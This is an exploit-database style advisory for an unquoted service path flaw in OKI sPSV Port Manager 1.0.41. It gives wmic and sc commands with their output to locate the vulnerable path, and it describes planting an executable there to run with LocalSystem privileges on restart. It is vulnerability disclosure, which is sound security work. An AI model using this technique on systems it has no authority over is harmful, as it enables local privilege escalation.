OKI sPSV Port Manager 1.0.41 – ‘sPSVOpLclSrv’ Unquoted Service Path
# Exploit Title: OKI sPSV Port Manager 1.0.41 - 'sPSVOpLclSrv' Unquoted Service Path # Date: 2020-11-08 # Exploit Author: Julio Aviña # Vendor Homepage: https://www.oki.com/ # Software Link: https://www.oki.com/mx/printing/download/sPSV_010041_2_270910.exe # Software Version: 1.0.41 # File Version: 1.4.2.0 # Tested on: Windows 10 Pro x64 es # Vulnerability Type: Unquoted Service Path # 1. To find the unquoted service path vulnerability C:\>wmic service where 'name like "%sPSVOpLclSrv%"' get displayname, pathname, startmode, startname DisplayName PathName StartMode StartName OKI sPSV Port Manager C:\Program Files\Okidata\smart PrintSuperVision\xml\ComApi\extend3\portmgrsrv.exe Auto LocalSystem # 2. To check service info: C:\>sc qc "sPSVOpLclSrv" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: sPSVOpLclSrv TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\Okidata\smart PrintSuperVision\xml\ComApi\extend3\portmgrsrv.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : OKI sPSV Port Manager DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem # 3. Exploit: A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application. When restarting the service or the system, the inserted executable will run with elevated privileges. |